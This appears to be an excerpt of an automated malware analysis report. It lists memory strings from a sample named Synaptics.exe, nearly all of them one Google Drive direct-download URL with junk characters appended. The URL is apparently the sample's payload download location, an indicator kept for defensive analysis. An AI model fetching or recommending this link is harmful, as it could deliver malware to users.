Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA?
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAt
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB(
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB?
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBulun
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3207866105.000000004D2BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC:
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCUz
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCjA
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCould
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCq
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3023403853.0000000007071000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet(u7
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetL
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEW
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEsX
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF)
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFD
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFT
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFh
Source: Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG6
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGi
Source: Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D918000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHV
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHrW
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.0000000007117000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI&V
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI=
Source: Synaptics.exe, 00000003.00000002.3158070401.000000003C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadId
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadInjec
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3073360859.000000001DA57000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2992279061.000000000717C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ.
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ1
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ8Y
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ=Y
Source: Synaptics.exe, 00000003.00000002.3047064799.000000000DFE8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK7
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKY
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKkY
Source: Synaptics.exe, 00000003.00000002.3020194577.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2996977123.000000001DB16000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3163086437.000000003CA0C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL2V
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLNTQY
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLtS
Source: Synaptics.exe, 00000003.00000002.3043538428.000000000DE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLtd1
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLtd1~U
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2985810104.000000001DCEB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2990660611.000000001DB7B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMT
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMeS
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMpP
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3081693184.000000001DF91000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3154941287.000000003C702000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3165100713.000000003CA8A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3046013509.000000000DF4B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3040412324.000000000DCCE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3161091274.000000003C971000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3085980201.000000001E011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000070E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN/
Source: Synaptics.exe, 00000003.00000002.3076022173.000000001DED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN9
Source: Synaptics.exe, 00000003.00000002.3072963554.000000001D9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNTQY
Source: Synaptics.exe, 00000003.00000003.2992279061.00000000071CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNU
Source: Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNjT
Source: Synaptics.exe, 00000003.00000003.2985810104.000000001DCC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNqU
